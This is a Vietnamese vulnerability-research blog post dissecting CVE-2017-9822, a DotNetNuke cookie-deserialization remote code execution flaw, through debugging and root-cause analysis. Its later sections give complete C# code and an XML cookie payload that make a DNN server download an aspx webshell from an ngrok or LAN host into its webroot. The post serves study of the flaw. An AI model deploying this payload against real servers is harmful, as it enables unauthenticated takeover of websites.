Tìm hiểu CVE-2017-9822 - DotNetNuke Cookie Deserialization RCE

theme

Preface

DotNetNuke là hệ thống quản lý nội dung(content management system) mã nguồn mở trên nền tảng ASP.NET. Bài viết này sẽ đi vào phân tích CVE-2017-9822 trên DNN, lỗ hổng unauth insecure deserialization có thể dẫn đến RCE. Lỗ hổng được được phát hiện bởi Alvaro Muñoz và trình bày tại blackhat US 2017 - Friday the 13th JSON Attacks gồm nhiều advanced techniques về khai thác java/.net deserialization, được coi như mở ra kỷ nguyên mới về khai thác loại lỗ hổng này!

theme https://www.dnnsoftware.com/community/security/security-center

Build lab

Link Github: https://github.com/dnnsoftware/Dnn.Platform

Mình sẽ debug dựa trên DNN version 9.1.0, có thể download tại: https://github.com/dnnsoftware/Dnn.Platform/releases

Cách cài đặt DNN các bạn có thể tham khảo tại: https://www.digitalalphas.com/how-to-install-dotnetnuke-dnn/

Hoàn thành: complete-setup

Analysis

Sink of the bug

Như report, lỗ hổng xảy ra ở phần xử lý DNNPersonalization cookie, cookie này được dùng để load user profile tuy nhiên vẫn có thể trigger unauthen khi truy cập một trang không tồn tại(404 error). Entrypoint của bug này nằm ở hàm LoadProfile thuộc module DotNetNuke.dll, ta sẽ decompile module này bằng dnSpy và phân tích kĩ hơn: DotNetNuke.dll

LoadProfile method

Tại PersonalizationController#LoadProfile(int, int) LoadProfile method details

Nếu userId khác null thì biến text sẽ được gán giá trị của DNNPersonalization cookie từ request sau đó gọi đến Globals#DeserializeHashTableXml DeserializeHashTableXml

Globals#DeserializeHashTableXml gọi đến XmlUtils#DeSerializeHashtable DeSerializeHashtable

Sink lỗ hổng này tại đây khi hàm này cho phép deserialize arbitrary object type tại XmlSerializer. Thứ tự xử lý như sau:

  • LoadXml từ xmlSource
  • Duyệt qua từng node item trong root profile.
  • Với mỗi item, lấy object type được định nghĩa dựa vào attribute type và khởi tạo XmlSerializer theo type object đó như dòng 160-161
  • Deserialize item này thành một object ở dòng 163 và lưu vào hashtable
  • Trả về hashtable

Ta hoàn toàn có thể kiểm soát giá trị DNNPersonalization cookie do đó có thể sửa đổi object được deserialize. Để exploit lỗ hổng này cần lưu ý XmlSerializer có các giới hạn chính trong serialization như sau:

  1. Chỉ có thể serialize các trường và thuộc tính public
  2. Chỉ hỗ trợ một nhóm các object nhất định bới nó không thể serialize abstract class
  3. Loại object khi thực hiện XmlSerializer phải được biết đến trong runtime.

Debugging

Để hiểu kĩ hơn, ta sẽ tiến hành dynamic debug dotnetnuke. Debug .NET phức tạp hơn các ngôn ngữ khác một chút do khi compile code C# thành file thực thi, compiler sẽ tối ưu code do đó khi debug thông thường và đặt breakpoint thường nó sẽ nhảy sai dòng. Do vậy ta cần sửa assembly attributes file từ:

[assembly:
Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]

thành:

[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

sau đó có thể compile lại file này bằng dnspy. DotNetNuke.dll được xây dựng trên 32-bit do đó ta cần edit bằng dnspy phiên bản 32 bit mới có thể compile lại được. edit_aa Edit Assemby Attributes

edit_aa_replace Replace it

edit_aa_save Save all(overwrite it)

Cùng cần lưu ý rằng khi khởi động IIS worker, nó sẽ không load assemblies từ C:\inetpub\wwwroot\dotnetnuke\bin\DotNetNuke.dll mà sẽ copy các file cần thiết cho DNN hoạt động đến C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\dotnetnuke\ và load từ thư mục này.

Sau khi đã edit DotNetNuke.dll ta sẽ debug DNN bằng dnSpy.

  1. Attach tiến trình w3wp.exe vào dnSpy: Debug –> Attach to Process –> Refresh –> w3wp.exe. Sử dụng dnSpy 64-bit để debug IIS server 64-bit. Ở đây sau một hồi mày mò mà dnSpy không refresh ra w3wp.exe thì mình thử chạy lại dnSpy dưới quyền admin mới tìm thấy process này.
  2. Sau khi attach ta sẽ tạm dừng debug hiện tại: Break All
  3. Tiếp đến, list tất cả module được load bởi w3wp.exe: Debug –> Windows –> Modules
  4. Click vào module bất kì và chọn Open All Module để mở tất cả module đó
  5. Tìm đến module DotNetNuke.dll –> LoadProfile(int,int), request 404 page nếu dnSpy hit breakpoint thì đã dynamic debug thành công test_req1

hit_breakpoint

Sink to the source

Set up dynamic debug thành công, cùng xem từ request 404 error page gọi đến sink như thế nào qua Call Stack: callstack

Call Stack trên khá dài và phức tạp nhưng chỉ cần tập trung vào các method call sau:

Tại class PortalSettings getter method được invoke và gọi đến Personalization#GetProfile như dòng 925 dưới, cái sẽ tiếp tục gọi đến method LoadProfile, sink của lỗ hổng. PortalSettings

Điều đáng chú là ở dòng 922 có điều kiện if kiểm tra xem request hiện tại đã là IsAuthenticated hay chưa và rõ ràng request ta vừa thực hiện là unauthenticated đến một entrypoint không tồn tại. Vậy tại sao request hiện tại được thực hiện như một authenticated user.

Tiếp tục debug, lùi về gần cuối stack thì thấy tại AdvancedUrlRewriter#Handle404OrException có vòng else if như sau: Handle404OrException

Ở đây nó sẽ kiểm tra request context.User hiện tại có là null, nếu đúng như vậy sẽ gán context.User là user thread hiện tại, set breakpoint có thể thấy được kết quả như sau: context.User

Biến IsAuthenticated bây giờ có giá trị là true và user được gán chính là user chạy thread hiện tại thuộc nhóm IIS APPPOOL của IIS server do đó request được thực hiện như một authenticated user. Lý do logic này tồn tại là bởi 404 handler được invoke trước khi HttpContext.User được set và luồng xử lý tiếp dựa vào User.IsAuthenticated nên để tránh bị lỗi Null references, developers gán User object bằng WindowsPrinicipal object của thread hiện tại.

Ok, ta vừa phân tích và hiểu được vì sao tồn tại lỗ hổng insercure deser tại module DNN ở method LoadProfile mà vẫn có thể trigger khi đang unauthen, phần tiếp sẽ build payload để exploit lỗ hổng này.

Build payload

Play with XmlSerializer

Đầu tiên, dựa vào sink của CVE này chính là XmlUtils#DeSerializeHashtable như đã đề cập trên, tạo một chương trình tương tự serialize và deserialize object:

using System.Xml;
using System.Xml.Serialization;

namespace example
{
    public class Test
    {
        private string _name;

        public string name
        {
            get { return _name; }
            set { this._name = value; Console.WriteLine("Setted _name field to: " + value); }
        }
    }
    
    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // tạo xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);
            
            // tạo node con item có attribute type chứa tên object type
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
            
            // serialize obj thành xmlDocumentObj
            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());

            // thêm xml serialized object này vào node item và thêm node item vào root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
            xmlElementRoot.AppendChild(xmlElementItem);
            
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
        }
        
        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {
                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        
                        // custom
                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "ahihi ahuhu"; // set field _name thông qua property name 
            Serialize(test);
            
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");
        }
    }
}

Ở method DeSerialize dựa vào XmlUtils#DeSerializeHashtable mình chỉ sửa lại value trả về là void thay vì hashtable và method Serialize serialize thành xml string đúng format để DeSerialize có thể deserialize được.

Result sau khi chạy, file obj.xml:

<profile>
	<item type="example.Test, serialization, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
		<Test
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
			xmlns:xsd="http://www.w3.org/2001/XMLSchema">
			<name>ahihi ahuhu</name>
		</Test>
	</item>
</profile>

console: console

Có thể thấy rằng setter method(property) đã được gọi tận 2 lần, lần lượt khi thực hiện serialize và deserialize. Lợi dụng cơ chế invoke setter method này khi deserialization attacker có thể trigger thực thi các đoạn mã khác theo ý muốn như thực thi OS command. Ví dụ ta sửa đổi class Test thành như sau:

public class Test
{
    private string _name;
    public string name
    {
        get { return _name; }
        set { this._name = value; execCMD(); }
    }

    private void execCMD()
    {
        Process process = new Process();
        process.StartInfo.FileName = this._name;
        process.Start();
        process.Dispose(); // close
    }
}

Với name truyền vào là command calc.exe ta trigger pop up windows calculator ngay khi objec được deserialize: popup_demo

file obj.xml cũng không thay đổi nhiều:

<profile>
	<item type="example.Test, serialization, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
		<Test
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
			xmlns:xsd="http://www.w3.org/2001/XMLSchema">
			<name>calc.exe</name>
		</Test>
	</item>
</profile>

Nghịch thể đủ rồi, trở lại với XmlSerializer trong DotNetNuke, bây giờ làm sao để thực thi OS command từ lỗ hổng này bởi ta đương nhiên không thể tự chèn class như ví dụ trên trong runtime.

From xml insecure deserialization to RCE

Mục tiêu bây giờ là cần tìm object có thể execute code khi thực hiện deserialize, cùng xem qua một số options.

FileSystemUtils PullFile method

DotNetNuke.dll assembly có class FileSystemUtils implements method PullFile: PullFile

Method này đặc biệt hữu dụng bởi nếu ta có thể gọi đến method này thì có thể download file bất kì về server từ URL string và lưu vào FilePath bất kì. Do vậy nếu ta deserialize DNNPersonalization cookies và tải về DNN một aspx webshell vào webroot thì có thể RCE được.

Tuy nhiên như đã đề cập từ trước, XmlSerializer không thể serialize class method mà chỉ là các trường và thuộc tính public. Các trường và thuộc tính public của class FileSystemUtils thì cũng không có cái nào có thể gọi đến được method PullFile. Do đó, serialize instance của object này không có tác dụng gì.

ObjectDataProvider Class

Việc exploit deser ở .NET với gadget chain có sẵn cũng được public khá nhiều. ObjectDataProvider gadget có thể nói là chain phổ biến cũng như hữu dụng nhất được trình bày tại BlackHat US 2017 - Friday the 13th JSON Attacks, cùng tìm hiểu kĩ hơn về class này.

Theo documentation chính thức, ObjectDataProvider class được sử dụng khi ta muốn wrap một object khác trong ObjectDataProvider instance và sử dụng nó như binding source. Binding source đơn giản là một object cung cấp programer các dữ liệu có liên quan. Dữ liệu này liên kết từ source đến targer object như UserInterface để hiện thị dữ liệu đó.

ObjectDataProvider hữu ích khi nó cho phép wrap arbitrary object và sử dụng thuộc tính MethodName để gọi một method từ wrapped object, cùng với đó là thuộc tính MethodParameters để truyền các các parameter cần thiết vào MethodName. Do vậy nhờ ObjectDataProvider ta có thể gọi đến method thuộc object bất kì ở trong runtime. Hơn cả, class này không bị giới hạn serialize bởi XmlSerializer do đó là ứng viên sáng giá để build payload exploit lổ hổng này.

Cùng xem kĩ hơn ObjectDataProvider như nào. Class này được định nghĩa và implemented trong namespace System.Windows.Data, nó nằm ở module PresentationFramework.dll. Trong windows có thể tồn tại một hoặc nhiều file này phụ thuộc vào số .NET framework version được cài đặt. Ở đây mình sẽ chọn ở directory: C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF

ObjectDataProvider MethodName property MethodName

Khi setter được gọi sẽ gọi tiếp đến DataSourceProvider#Refresh(): Refresh

Tiếp tục theo luồng DataSourceProvider#BeginQuery: BeginQuery

Tưởng như tới đây chẳng còn gì nhưng cần lưu ý rằng ObjectDataProvider thừa kế từ DataSourceProvider nơi dnSpy trace tới. Ta cần chú ý xem đúng method mà ObjectDataProvider đã override.

BeginQuery_impl

Yeah, trace tiếp đến QueryWorker QueryWorker

Và tại đây, method InvokeMethodOnInstance sẽ được gọi, nơi nó sẽ invoke wrapped object method: InvokeMethodOnInstance

Vậy khi setter method của trường MethodName thuộc class ObjectDataProvider được gọi, nó cũng đồng thời invoke method vừa được gán.

Is that enough, let’s build the final payload

Mình sẽ sử dụng IDE jetbrain rider để viết script, cần reference đến DotNetNuke.dllPresentationFramework.dll module. jetbrain

Dùng ObjectDataProvider wrap FileSystemUtils#PullFile và serialize - deserialize như sau: wrap_PullFile

Tuy nhiên khi thực hiện serialize thì bị lỗi: error_wrap

Lỗi này là do cách XmlSerializer được khởi tạo. Ở method Serialize, với loại object truyền vào là bất kì, method sẽ lấy object type qua method GetType() để khởi tạo XmlSerialier. Ở trường hợp này ta truyền vào ObjectDataProvider, cái XmlSerializer expected, tuy nhiên nó không hề biết loại object được wrap bởi ObjectDataProvider chính là FileSystemUtils là gì, do đó nó báo lỗi không “expected” class này. Do đó thực hiện serialize thất bại.

Thật ra ta có thể fix lỗi này bằng cách sử dụng constructor khác của XmlSerializer như sau:

XmlSerializer xmlSerializer = new XmlSerializer(objectDataProvider.GetType(), new Type[]
{typeof(FileSystemUtils)});

Chỉ cho XmlSerializer loại object được wrapped

Tuy nhiên XmlSerializer trong DNN sử dụng default constructor do đó ta không thể dùng cách này.

ExpandedWrapper Class come to play

yugioh

Theo official documentation của ExpandedWrapper Class:

This class is used internally by the system to implement support for queries with eager loading of related entities. This API supports the product infrastructure and is not intended to be used directly from your code

Nói đơn giản là class này được dùng internal cho các product chứ không sinh ra để dev sử dụng. Nói ngắn chọn chức năng của class này lạ transform một object nhất định sang dạng một object khác.

ExpandedWrapper class có thể dùng để đóng gói(encapsulation) arbitrary object type. Hơn cả, constructor của class này cho phép chỉ định các loại object được đóng gói ở instance hiện tại. Đây chính xác là cái ta cần để XmlSeralier có thể hiểu và serialize được, khắc phục vấn đề ta gặp trước đó ở trên. Class này cũng thỏa mãn các điều kiện của XmlSerializer để có thể được serialize.

Ta đóng gói ObjectDataProvider, FileSystemUtil và serialize như sau:


using System.Windows.Data;
using DotNetNuke.Common.Utilities;
using System.Data.Services.Internal;
using System.Xml;
using System.Xml.Serialization;

namespace example
{
    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\serialization\\"; // CHANGE THIS
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // tạo xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // tạo node con item có attribute type chứa tên object type
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serialize obj thành xmlDocumentObj
            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());

            // thêm xml serialized object này vào node item và thêm node item vào root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
            xmlElementRoot.AppendChild(xmlElementItem);

            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {
                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));

                        // custom
                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://7a1f-42-118-71-20.ap.ngrok.io/cmd.aspx");
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("D:\\lab\\csharp\\DNN\\cmd.aspx");
            Console.WriteLine("Done!!");

            Serialize(expandedWrapper);

            // String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            // DeSerialize(xmlSource, "profile");
        }
    }
}

Ta được obj.xml: //

<profile>
	<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral,PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework,Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089">
		<ExpandedWrapperOfFileSystemUtilsObjectDataProvider
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
			xmlns:xsd="http://www.w3.org/2001/XMLSchema">
			<ProjectedProperty0>
				<ObjectInstance xsi:type="FileSystemUtils"/>
				<MethodName>PullFile</MethodName>
				<MethodParameters>
					<anyType xsi:type="xsd:string">http://192.168.0.108:7878/cmd.aspx</anyType>
					<anyType xsi:type="xsd:string">D:/lab/csharp/DNN/dotnetnuke/js/cmd.aspx</anyType>
				</MethodParameters>
			</ProjectedProperty0>
		</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
	</item>
</profile>

Tại đây nếu payload lỗi có thể dùng dnSpy debug để fix một số lỗi nhỏ. Nếu build bằng IDE jetbrain rider lỗi, có thể chuyển qua Visual Studio 2019 để build bởi thường nó sẽ tương thích hơn!

req_exploit Gửi request

received_log Sau khi DNN deserialize cookies, tại http server có request đến /cmd.aspx tức deser thành công, webshell đã được upload lên DNN

exec_cmd aspx webshell

Thay vì tự viết payload như trên, ta hoàn toàn có thể generate lại payload exploit DNN bằng ysoserial.net đã được publish trên github.

The patch and bypass

  • CVE-2018-15811 : DotNetNuke 9.1.1
  • CVE-2018-15812 : DotNetNuke 9.2 through 9.2.1
  • CVE-2018-18325 and CVE-2018-18326 : DotNetNuke 9.2.2 through 9.3.0-RC

References